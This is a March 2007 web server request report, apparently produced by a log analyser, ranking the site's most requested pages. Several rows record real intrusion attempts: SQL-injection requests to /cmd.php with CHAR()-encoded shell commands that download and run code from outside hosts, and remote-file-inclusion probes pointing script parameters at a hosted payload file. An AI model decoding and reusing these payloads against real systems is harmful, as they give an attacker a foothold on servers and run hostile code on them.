The Request Report identifies the most popular web pages on the site and how often they were accessed.
This report shows the first 200 results by number of requests. This report is sorted by number of requests.
| File Name | Number of requests | Percentage of the requests | Number of bytes transferred | Percentage of the bytes | Date and time of last access | |
|---|---|---|---|---|---|---|
| 1. | / | 267 | 83.70% | 3.010 MB | 98.68% | Mar. 31, 2007 03:58 |
| 2. | /graffs/roberta.html | 29 | 9.09% | 21.680 KB | 0.69% | Mar. 29, 2007 07:04 |
| 3. | /cmd.php | 5 | 1.57% | 737.000 B | 0.02% | Mar. 5, 2007 08:13 |
| /cmd.php?1+1111)/**/UNION/**/SELECT/**/2,0,1,1,CHAR(49,50,55,46,48,46,48,46,49),null,1,null,null,161,500,CHAR(112,114,111,99),null,1,300,0,CHAR(119,103,101,116,32,104,116,116,112,58,47,47,50,48,55,46,53,56,46,49,52,49,46,50,49,49,47,126,103,114,47,112,105,110,103,59,109,118,32,112,105,110,103,32,116,101,109,112,50,48,48,54,59,112,101,114,108,32,116,101,109,112,50,48,48,54,32,54,49,46,49,50,48,46,48,46,49,51,48,32,51,48,48,48,59,108,119,112,45,100,111,119,110,108,111,97,100,32,104,116,116,112,58,47,47,50,48,55,46,53,56,46,49,52,49,46,50,49,49,47,126,103,114,47,112,105,110,103,59,99,104,109,111,100,32,43,120,32,112,105,110,103,59,46,47,112,105,110,103,32,54,49,46,49,50,48,46,48,46,49,51,48,32,51,48,48,48,59,99,117,114,108,32,45,111,32,112,105,110,103,32,104,116,116,112,58,47,47,50,48,55,46,53,56,46,49,52,49,46,50,49,49,47,126,103,114,47,112,105,110,103,59,99,104,109,111,100,32,43,120,32,112,105,110,103,59,46,47,112,105,110,103,32,54,49,46,49,50,48,46,48,46,49,51,48,32,51,48,48,48,59,99,100,32,47,116,109,112,47,59,99,117,114,108,32,45,111,32,116,101,109,112,50,48,48,54,32,104,116,116,112,58,47,47,50,48,55,46,53,56,46,49,52,49,46,50,49,49,47,126,103,114,47,112,105,110,103,59,119,104,105,108,101,32,91,32,49,32,93,59,100,111,32,112,101,114,108,32,116,101,109,112,50,48,48,54,32,54,49,46,49,50,48,46,48,46,49,51,48,32,51,48,48,48,59,100,111,110,101,59,104,116,116,112,58,47,47,50,48,55,46,53,56,46,49,52,49,46,50,49,49,47,126,103,114,47,112,105,110,103,59,99,104,109,111,100,32,43,120,32,112,105,110,103,59,46,47,112,105,110,103,32,54,49,46,49,50,48,46,48,46,49,51,48,32,51,48,48,48,59,99,117,114,108,32,45,111,32,112,105,110,103,32,104,116,116,112,58,47,47,50,48,55,46,53,56,46,49,52,49,46,50,49,49,47,126,103,114,47,112,105,110,103,59,99,104,109,111,100,32,43,120,32,112,105,110,103,59,46,47,112,105,110,103,32,54,49,46,49,50,48,46,48,46,49,51,48,32,51,48,48,48),null,null/**/FROM/**/host/*+11111 | 1 | 0.31% | 145.000 B | 0.01% | Mar. 2, 2007 14:33 | |
| /cmd.php?1+1111)/**/UNION/**/SELECT/**/2,0,1,1,CHAR(49,50,55,46,48,46,48,46,49),null,1,null,null,161,500,CHAR(112,114,111,99),null,1,300,0,CHAR(32,99,117,114,108,32,45,111,32,47,116,109,112,47,104,116,116,112,100,115,46,116,120,116,32,54,50,46,50,52,53,46,49,57,56,46,49,54,51,47,104,116,116,112,100,115,46,116,120,116,32,62,32,46,47,114,114,97,47,115,117,110,116,122,117,46,108,111,103),null,null/**/FROM/**/host/*+11111 | 1 | 0.31% | 145.000 B | 0.01% | Mar. 5, 2007 08:13 | |
| /cmd.php?1+1111)/**/UNION/**/SELECT/**/2,0,1,1,CHAR(49,50,55,46,48,46,48,46,49),null,1,null,null,161,500,CHAR(112,114,111,99),null,1,300,0,CHAR(32,112,101,114,108,32,47,116,109,112,47,104,116,116,112,100,115,46,116,120,116,32,62,32,46,47,114,114,97,47,115,117,110,116,122,117,46,108,111,103),null,null/**/FROM/**/host/*+11111 | 1 | 0.31% | 145.000 B | 0.01% | Mar. 5, 2007 08:13 | |
| /cmd.php?1+1111)/**/UNION/**/SELECT/**/2,0,1,1,CHAR(49,50,55,46,48,46,48,46,49),null,1,null,null,161,500,CHAR(112,114,111,99),null,1,300,0,CHAR(32,119,103,101,116,32,54,50,46,50,52,53,46,49,57,56,46,49,54,51,47,104,116,116,112,100,115,46,116,120,116,32,45,79,32,47,116,109,112,47,104,116,116,112,100,115,46,116,120,116,32,62,32,46,47,114,114,97,47,115,117,110,116,122,117,46,108,111,103),null,null/**/FROM/**/host/*+11111 | 1 | 0.31% | 145.000 B | 0.01% | Mar. 5, 2007 08:13 | |
| 4. | /adxmlrpc.php | 4 | 1.25% | 625.000 B | 0.02% | Mar. 14, 2007 17:05 |
| 5. | /xmlrpc.php | 4 | 1.25% | 630.000 B | 0.02% | Mar. 18, 2007 00:29 |
| 6. | /BE_config.php | 2 | 0.63% | 326.000 B | 0.01% | Mar. 29, 2007 21:12 |
| /BE_config.php?_PSL[classdir]=http://203.198.68.236/~lisir/M.txt?&/ | 2 | 0.63% | 326.000 B | 0.01% | Mar. 29, 2007 21:12 | |
| 7. | /thisdoesnotexistahaha.php | 2 | 0.63% | 350.000 B | 0.01% | Mar. 31, 2007 14:00 |
| 8. | http://www.baidu.com/ | 1 | 0.31% | 16.189 KB | 0.52% | Mar. 22, 2007 17:24 |
| 9. | /createemails.inc.php | 1 | 0.31% | 170.000 B | 0.01% | Mar. 29, 2007 21:12 |
| /createemails.inc.php?ROOTDIR=http://203.198.68.236/~lisir/M.txt?&/ | 1 | 0.31% | 170.000 B | 0.01% | Mar. 29, 2007 21:12 | |
| 10. | /stoma.php | 1 | 0.31% | 159.000 B | 0.01% | Mar. 29, 2007 21:12 |
| /stoma.php?lang=http://203.198.68.236/~lisir/M.txt?&/ | 1 | 0.31% | 159.000 B | 0.01% | Mar. 29, 2007 21:12 | |
| 11. | /send_emails.inc.php | 1 | 0.31% | 169.000 B | 0.01% | Mar. 29, 2007 21:12 |
| /send_emails.inc.php?ROOTDIR=http://203.198.68.236/~lisir/M.txt?&/ | 1 | 0.31% | 169.000 B | 0.01% | Mar. 29, 2007 21:12 | |
| 12. | http://hacker.org.ru/prxjdg.php | 1 | 0.31% | 148.000 B | 0.01% | Mar. 19, 2007 08:40 |
| 13. | /mod_cbsms_messages.php | 1 | 0.31% | 172.000 B | 0.01% | Mar. 29, 2007 21:12 |
| /mod_cbsms_messages.php?mosConfig_absolute_path=http://203.198.68.236/~lisir/M.txt?&/ | 1 | 0.31% | 172.000 B | 0.01% | Mar. 29, 2007 21:12 | |
This report was generated on April 1, 2007 02:22.
Report time frame March 1, 2007 00:22 to March 31, 2007 17:22.